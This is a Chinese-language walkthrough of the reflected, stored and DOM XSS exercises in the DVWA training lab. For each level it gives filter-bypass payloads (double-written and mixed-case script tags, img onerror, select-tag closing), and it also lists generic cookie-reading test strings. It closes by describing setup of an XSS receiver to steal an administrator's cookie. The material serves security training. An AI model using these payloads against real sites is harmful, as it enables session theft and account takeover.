笔者对该靶场所需的相关知识进行了总结、拓展,供大家学习参考:XSS 漏洞学习
DVWA XSS(Reflected)
low
未进行过滤,构造payload:<script>alert("x");</script>
medium
过滤规则:把< script>用str_replace()函数替换为空。
尝试双写<script>标签:<sc<script>ript>alert("x");</sc</script>ript>-->
发现返回hello ript>:问题很奇怪,查看源码,发现:</sc</script>ript>没有被过滤,仅过滤了
<script>标签,所以加载payload:<sc<script>ript>alert("x");</script>弹窗
<pre>
Hello
<script>
alert("x");</sc
</script>
ript>
</pre>
------------------------------
试一下改变大小写,加载payload:<sCrIPt>alert("x");</sCrIpT>弹窗,说明没有对大小写过滤
------------------------------
high
过滤规则:$name = preg_replace( ‘/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i’, ‘’, $_GET[ ‘name’ ] );
对任何模式的script都过滤了,换标签尝试:<img src=0 onerror=alert("xss")>
impossible
服务器端核心代码:
<?php
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Get input
$name = htmlspecialchars( $_GET[ 'name' ] );
// Feedback for end user
echo "<pre>Hello ${name}</pre>";
}
// Generate Anti-CSRF token
generateSessionToken();
?>
-------------------------------------------------
可以看到,Impossible级别的代码使用htmlspecialchars函数把预定义的字符&、”、 ’、<、>转换为 HTML 实体,
防止浏览器将其作为HTML元素。
可以看出,impossible级别的代码先判断name是否为空,不为空的话然后验证其token,来防范CSRF攻击。
然后再用 htmlspecialchars函数将name中的预定义字符转换成html实体,这样就防止了我们填入标签
当我们输入 <script>alert('hack')</script> 时,因为 htmlspecialchars 函数会将 < 和 > 转换成html实体,并且${name}取的是$name的值,
然后包围在<pre></pre>标签中被打印出来,所以我们插入的语句并不会被执行。
当我们提交<script>alert("hack");</script>时,通过可以查看源代码,表单提交的过程中,把我们的user_token也一并提交了,
来和服务器端的session_token做验证,防止CSRF攻击。我们输入的代码,直接被当成html文本给打印出来了,并不会被当成js脚本执行
DVWA XSS(Stored)
------------------------------
相关函数介绍
trim(string,charlist)
函数移除字符串两侧的空白字符或其他预定义字符,预定义字符包括、\t、\n、\x0B、\r以及空格,
可选参数charlist支持添加额外需要删除的字符。
mysql_real_escape_string(string,connection)
函数会对字符串中的特殊符号(\x00,\n,\r,\,‘,“,\x1a)进行转义。
stripslashes(string)
函数删除字符串中的反斜杠。
------------------------------
low
未进行过滤,构造payload:
name=1
message=<script>alert("x");</script>
medium
strip_tags() 函数剥去字符串中的HTML、XML以及PHP的标签,(未过滤使用<b>标签)。
addslashes() 函数返回在预定义字符(单引号、双引号、反斜杠、NULL)之前添加反斜杠的字符串。
可以看到,由于对message参数使用了htmlspecialchars函数进行编码,因此无法再通过message参数
注入XSS代码,但是对于name参数,只是简单过滤了<script>字符串,仍然存在存储型的XSS。
直接尝试payload:
name=1
message=<script>alert("x");</script> 不弹窗
应该是标签被过滤了,换标签尝试:
name=2
message=<img src=0 οnerrοr=alert(“xss”)> 也不弹窗
构造payload:
name=<sc<script>ript>alert("x");</script>
message=123
action two:大小写
name=<sCrIPT>alert("x");</sCrIPT>
message=123
action three:换标签
name=<img src=0 onerror=alert("x")>
message=123
high
构造payload:
name=<img src=0 onerror=alert("x")>
message=123
impossible
通过使用htmlspecialchars函数,解决了XSS,所以无法注入。
通常有一些方式可以测试网站是否有正确处理特殊字符:
><script>alert(document.cookie)</script>
='><script>alert(document.cookie)</script>
"><script>alert(document.cookie)</script>
<script>alert(document.cookie)</script>
<script>alert (vulnerable)</script>
%3Cscript%3Ealert('XSS')%3C/script%3E
<script>alert('XSS')</script>
<img src="javascript:alert('XSS')">
<img src="http://xxx.com/yyy.png" onerror="alert('XSS')">
<div style="height:expression(alert('XSS'),1)"></div>(这个仅于IE7(含)之前有效)
DVWA XSS(DOM)
low
没有过滤,只是通过选择框限制了输入,直接在URL中构造payload:<script>alert("x");</script>
medium
使用stripos对"<script"进行过滤,并且不区分大小写,如果有则置为English
1.此时查看源码:
<select name="default">
<option value="" disabled="disabled">----</option>
<option value="English">English</option>
<option value="French">French</option>
<option value="Spanish">Spanish</option>
<option value="German">German</option>
<input value="Select" type="submit">
</script>
2.输入的值会在value中显示,直接<script>alert("x");</script>被过滤,换用标签
使用payload:<img src=1 onerror=alert("xss")>
此时:
<option value="%3Cimg%20src=1%20onerror=alert(%22xss%22)%3E"></option>
<option value="" disabled="disabled">----</option>
<option value="English">English</option>
<option value="French">French</option>
<option value="Spanish">Spanish</option>
<option value="German">German</option>
</select>
发现标签未被显示,接着想办法闭合标签<select>和<select>让我们的payload加载到html
中能被执行:</option></select><img src=1 onerror=alert("xss")>
当然也可直接闭合<select>:payload:</select><img src=1 onerror=alert("xss")>
构造payload:</select><img src=0 οnerrοr=alert(“x”)>
high
high级别的代码先判断defalut值是否为空,如果不为空,则用switch语句进行匹配。如果匹配成功,则插入case字段的相应值。如果匹配失败,则插入默认的值。此时,可以在URL中添加注释符#,注释的内容不会提交到服务器,而是在浏览器执行。
构造payload:English # <script>alert("x");
impossible
impossible级别只告诉我了这一句话:# Don’t need to do anything, protction handled on the client side ,当我们尝试注入时,我们注入的内容都会经过URL编码显示在输入框,经过URL编码的内容被放在HTML标签中,而没有经过解码,所以不存在注入。
获取cookie
首先下载清华蓝莲花战队开发的XSS平台
https://github.com/trysec/BlueLotus_XSSReceiver
下载后直接拖到phpstudy的WWW文件中,访问相应链接开始安装即可。
安装完成后进入后台来新建自己的一个项目,插入了一个常见的模板,修改好website的值,为源码所在的文件夹,再修改一行明显的文字作为攻击成功的提示。
生成专属的payload。
利用xss获取管理员的cookie。